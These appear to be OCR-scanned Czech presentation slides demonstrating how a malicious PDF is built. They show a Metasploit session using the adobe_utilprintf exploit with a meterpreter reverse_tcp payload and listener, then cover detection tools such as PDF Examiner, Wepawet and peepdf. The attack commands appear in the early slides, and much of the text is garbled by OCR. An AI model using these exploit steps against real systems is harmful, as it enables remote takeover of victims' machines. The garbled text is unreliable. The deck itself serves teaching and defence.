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Ukazka tvorby skodliveho PDF

~ = ¥ rooti@bt: -
File Edit Yiew Termminal Helg

[ = 2xp 1L wlndow i etTo it fadobe pri
i . ilaiT 3 &1t FILENAHE L ok i L |
[ LEMAMIE iLlclouspd’ . pdTFILENAME yliciouspdf. pdf
i ':I:Ii_l il B | :'l-."'.l Ll | Ll 1 o A - ] . | S ',..
FAYLOAL W 1nd eterpreters revi LCp
f cnlolt| - t LHOST 192.168.1.11
LM% | > - oE.1.11
1 "":Il:.ll: | III |':- '|'|I
LPORT = G455
| 5 f | R i _:.l .....
i lE] ot 10 erplolt . wWlndos 1l j L S S o i 1ntt
MName Lurrept Setbsng Ragu 1o esSCript 107
FILEMAMI L1l ous et DA TRETL E R =5ma Ll C1ouenaT | pdTe e b= 1 LE A
|. 1 1 |:|I 1] 1 I i =11 ] | e I ¥ I |
M Ame LUrFréent SETTLIMNG BEQULT & eSO rlDT LOr
II.rl II-|-\. B W ¥ I'-I :'.' L L r CA i |:| [ LhLE L
.
LHOS | 192 . 168.1.11 ! T Hi R | did ri



Ukazka tvorby skodliveho PDF

& . = root@bt: ~
File Edit View Terminal Help

odule options (exploit/windows/TilefTormat/adobe utilprintft)
Name Current Setting Required Descriptlor
FILENAME mallicliouspdT . pd1l e The file name.
'ayload options (windows/meterpreter/reverse tcp):
Name current Setting Required Description
EXAL T FLING sl gele LA g ExiIT Technlgue ceh, Thread, proCESERESnong
LHOST 19%2.168.1.11 ViES Ihe 1stEn iare

L PORT 4455 yes

il Adobe Reader vB8.1.2 (Windows XP SP3 English)
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Ukazka tvorby skodliveho PDF

msf explolt| | > exploit

[*] Creating 'maliciouspdf.pdfFILENAME => maliciouspdf.pdf' file..
[+] maliciouspdf.pdfFILENANE = mabaclouspdf, pdidstopedsat /pooty msf4/lotal/malitiouspdf.pdf
nsf exploit| s (5@ exploitymul t3yhandler

nsf exploit| ) > set PAYLOAD windows/meterpreter/reverse tcp

PAYLOAD => windows/meterpreter/reverse tcp
nsf explolt| | > set LPORT 4455

LPORT == 4455

msf exploit| ) » set LHOST 192.168.1.11

LHOST => 192.168.1.1]
msf Cnplﬁlt. | > exploit

[#] Started reverse handler on 1]! 168.1,11: 4455

(*] Starting the payload handler
]
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PDF Examiner

« - CH i@hﬂps://www.maIwaretracker.com/pdf,php Oi,?] C

Vo
malware tracker s I e e

+cryptam doc scan +pdf examiner scan +ools contact customer portal

pdf examiner

File upload to the pdf examiner.

PDF sample: | Viybrat soubor | Soubor nevybran

Email (optional emailed report): |Emai\

U Keep private, do not publish in recent malware detections.

Comments or spear phishing email:

This will fake a minute.




PDF Examiner

&« - C #® @hﬂps:/_/www.maIwaretracker,com/pdfsearchjphp?haShzg?TcE‘»l4d?3df80cd5321fb846dca0356 @ 7| |
home software SEIViCES +crypiam doc scan +pdf examiner scan +tools contact customer portal biog
Hash Search: [977¢314d73dfB0cd5321f6846dca0356 || search |

pdf examiner

Filename: iso_iec_27006-2007.pdf | MD5: 977c314d73df80cdb321fba46dcal3be

Link to here

PDF Info Document information

Object 167.0 @ 381629 Original filename: iso_iec_27006-2007.pdf

.

Size: 479899 bytes
Object 129.0 @ 188206

Submitted: 2014-05-29 15:31:30
Object 133.0 @ 203873
md5: 977c314d73df80cd5321fbB46dca0356

DS LA R shat: 550dd71d0e2b47d595762b260d197e199938 1ce

Object 155.0 @ 268794 sha256: e680d0cTed6364ceed3ecTad7cBedeb47976f409f3285116fa28b337Fic963e4
Object 136.0 @ 218669 ssdeep: 12288:1RmkHCchb2 1vrRvabr 1nKkHF H7kft+UlirVp:Gkichb2 1NvabxKShwRdL
Object 139.0 @ 231664 content/type: PDF document, version 1.3

. analysis time: 17.30 s
Object 157.0 @ 307308

Object 106.0 @ 149180
Object 124.0 @ 178728
Object 146.0 @ 257473
Object 159.0 @ 338110
Object 163.0 @ 361747

Object 17.0 @ 9071

] 3

Sort by: def
r




PDF Examiner

€& - C A | @ htpsy//www.malwaretracker.com/pdfsearch.php?hash=977c314d73df80cd5321b846dca0356 @ O

+cryptam doc scan +pdf examiner scan customer portal

Hash Search: |977¢314d73dfB0cd5321846dca0356 || search |

pdf examiner

Flename: iso_iec_27006-2007.pdf | MD5: 977c314d73df80cd5321fb846dcalise | Object: 7 Generation: 0
Filters: ASCI1850ecode CCITTFaxDecade | Size raw: 1965 bytes | File offset: 266085
Stream MD5: 957dd3c1548d571caZfet65f7ebel 135

sl ol s b - Parameters § Raw | Decoded JEa%[v{e

Object 173.0 @ 468305 Link to here

Object 127.0 @ 188018 None found in this object.
Object 7.0 @ 266085
Object 27.0 @ 22225

Object 149.0 @ 265210 ﬂ




Wapewet

€ - C M [ wepawetiseclaborg

o Q

Wepawet

Home | About | Sample Reports | Tools | News

Log in | Register

If you are interested in a commercial version of this service that offers additional features and detection capabilities, check out Lastline's advanced malware protection platform. x

Ad by Savelots. More Info | Hide These Ads

Wepawet is a free ” service, for non-commerdial organizations, to detect and analyze web-based threats. It currently handles Flash, JavaScript, and PDF files

To use Wepawet:

1. Upload a sample or specify the URL of a web page
2. Wait for the sample or web page to be analyzed
3. Review the generated report

;--Analysis Target--
. File: Soubor nevybrén

URL: |

Resource type:

® JavaScript/PDF
'Flash

Proxy: | | (optional)

Referer: | | (optional)

Header: | | (optional) More headers

Submit for analysis




Wapewet

Sample Overview
URL http://217.117.28.100/main.php
Domain 217.117.28.100

Analysis Started 2012-10-19 11:08:36
Report Generated 2012-10-19 11:09:04
Jsamnp version 2.3.5

Reanalyze this URL.
See the report for domain 217.117.28.100.
Detection results

Detector Result
Joann 2.3.5 malicious

In particular, the following URL was found to contain malicious content:
o hittp:ff217.117.28.100/main.php
Exploits

Mame Description Reference
MDAC  Arbitrary file download via the Microsoft Data Access Components (MDAC) CVE-2006-0003



Peepdf

Jsage: peepdf.py [options] PDF file

fersion: peepdf 8.1 rgz

Jptions:
-, --help show this help message and exit
-1, --1nteractive Sets console mode.

-5 SCRIPTFILE, --load-script=SCRIPTFILE
| oads the commands stored in the specified file and
execute them.

-f, --force-mode Sets force parsing mode to ignore errors.
-1, --loose-mode Sets loose parsing mode to catch malformed objects.
-U, --update Updates peepdf with the latest files from the
repository.
-V, --version Shows\hprbgramys version number.
- - X Shows' the document finformation 1n AML Tapmat.

: /pentest/forensics/peepdT# ./peepdf.py -1 malicilouspdf.pdt
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Readeru
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n aktualizaci
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avaScriptu v Adobe



Dékuji za pozornost, dotazy

/
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